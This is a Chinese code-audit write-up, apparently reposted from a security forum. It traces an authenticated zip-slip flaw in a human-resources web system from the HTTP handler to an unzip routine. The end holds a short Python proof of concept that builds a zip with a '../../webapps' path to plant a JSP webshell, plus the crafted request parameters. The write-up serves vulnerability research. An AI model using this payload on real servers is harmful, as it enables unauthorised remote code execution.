原文链接:https://forum.butian.net/share/4129
作者:中铁13层打工人
之前人力系统审计文章中发现了鸡肋的上传点,本着学习的心态看看能不能扩大利用到getshell,于是就有了这篇较坎坷的文章。
当时有提到白名单过滤可以上传zip,如果我们能找的可控的解压点理论上可以利用zip slip进行getshell。
查看web.xml发现另一处有关上传的servlet:
跟进到其中,发现在uploadMediaFile方法中有相关解压的操作
try {
var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";
var3 = newFileInputStream(newFile(var7 + var6 + var1 + var2));
var15 = newZipInputStream((InputStream)var3);
ZipEntryvar17=null;
while((var17 = var15.getNextEntry()) != null) {
if (!var17.isDirectory()) {
var18 = var17.getName();
var19 = var18.substring(var18.indexOf("."));
if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {
var14.append("{文件名:"" + var1 + "",");
var14.append("类型:"" + var2 + "",");
var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");
break;
}
if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {
var9 = true;
SAXBuildervar20=newSAXBuilder();
Documentvar21= var20.build(var15);
var9 = var9 && this.isHashNode(var21);
break;
}
var15.closeEntry();
}
}
} catch (IOException var44) {
var44.printStackTrace();
thrownewException("zip文件错误");
} finally {
PubFunc.closeIoResource(var15);
if (var3 != null) {
((InputStream)var3).close();
}
}
细细一看,居然对文件名进行了判断
var18 = var17.getName();
var19 = var18.substring(var18.indexOf("."));
if (var16.indexOf(","+ var19.toLowerCase() +",") >-1|| var16.indexOf(","+ var19.toLowerCase().substring(1) +",") >-1) {
var14.append("{文件名:""+ var1 +"",");
var14.append("类型:""+ var2 +"",");
var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");
break;
}
这里通过getName获取到压缩包中的文件名,然后通过var18.substring(var18.indexOf("."));
取得文件后缀,进入if判断,当后缀名在黑名单时报错。
此处看来是行不通了,我们全局搜索如ZipInputStream
或ZipEntry
,发现有好多地方有调用
这无异于增加了发现难度,不过根据上面servlet发现其实该ZipEntry
类其实是该系统自己封装实现的
然后我们用老朋友jar-analyzer
工具帮我们搜索com.xxx.xxx.zip.ZipEntry
的getName
方法调用
除了上述servlet以外还有两处类名基本一样的savexxxxTrans
中unZip()
方法有使用
可以看的是将压缩包的文件解压到var2变量控制的目录中,如果我们知道var2的具体位置就可以构造zip slip的恶意压缩包,将webshell解压到web目录下,向上看该方法的调用
目录是由var1也就是压缩包路径和var2确定,相当于在存压缩包的路径创建var2目录解压目录到其中,根据之前上传接口会返回文件全路径,如果var1参数完全可控可以构造恶意压缩包:
tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip-> tomcat/temp/$(var2)/../../webapps/1.txt
那么var1真可控吗
往上到其调用:
publicvoidexecute() throws GeneralException {
String var1 = "yes";
try {
...
String var3 = (String)this.getFormHM().get("r5100");
...
String var9 = (String)this.getFormHM().get("newPath");
...
if (!var3.equals("")) {
var2.setString("r5100", var3);
var12 = this.isZip(var9, var3);
可以看到路径是由是newPath
控制,且存在this.getFormHM()
的hashmap
中。
而根据以往搜索经验却找不到该execute()
方法的调用,难道是只定义而没调用嘛,那岂不是寄了!
然而经过我不断的根据和搜查。。。在某配置文件找的了该类的全限名
感觉像是根据funcid
创建mainClass
的实例进行执行,一般配置文件都有加载到对象中的过程,于是寻找读取配置文件初始化对象的类和方法。
在WFMapping#init
中加载配置文件初始化到变量E中,
在MsgRouter#execute()
方法中会调用WFMapping#init()
,同时调用businessProcess.synJavaBeanExecute()
来反射调用对应mainclass中的execute方法,相关代码如下
而MsgRouter#execute()
方法被FrameCmd#execute()
所调用
最终在AjaxController#A()
方法中调用了FrameCmd#execute()
而其中用于赋值给FromHM的Var2变量是通过请求参数来控制的
那么AjaxController
具体如何触发到A方法,我们来看看
首先根据__type
的值当不是bymobile
,byWeiXin
和byserviceclient
会进行session有效性检查,未授权会提示请登录。
后续会根据__type
调用到A方法进行hashmap的初始化然后调用execute。
可以看到是获取请求中__XML
变量的值,通过C(String var1)
方法将Json字符串转为RequestCommand
的hashmap
存入,同时在A(HttpServletRequest var1, ResponseCommand var2)
方法中将请求中其他键值对存入hashmap
,之后调用前面AjaxController#A()
方法,将两个的hashmap合并,一并赋值给TransInfoView.setFormHM
中。
回顾整个过程
1、AjaxController
http接口通过请求参数构造hashmap
,传给FrameCmd
2、FrameCmd
调用MsgRouter
,后面MsgRouter
根据hashmap
中functionId
值找到具体类反射调用其execute方法,同时将hashmap
赋值给FromHM
3、反射调用savexxTrans
类的execute
方法,构造r5100
和newpath
参数,使其进入isZip
方法,最终进入unZip
解压newpath
路径代表的zip,实现zip slip解压webshell到web目录
因无需权限的三种__type
由于环境问题无法调试,故进行认证时的环境变量logonclass变量未知,登录绕过无法分析,所以只能是个后台漏洞,感兴趣的师傅可以自己再研究研究
首先构造恶意压缩包
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc1.zip")
zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
上传文件并获取文件路径
然后构造savexxxTrans类所需要的hashmap
__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}
这里的newPath因为在其execute中需要进行了加密,解密结果与上传接口返回的fullpath解密结果一致。
然后再对__xml的值进行aes加密(主要是filter中当type为extTrans会进行AES解密)
登录后发送数据包
根目录成功访问jsp文件
原文始发于微信公众号(神农Sec):突破文件后缀限制实现任意文件上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论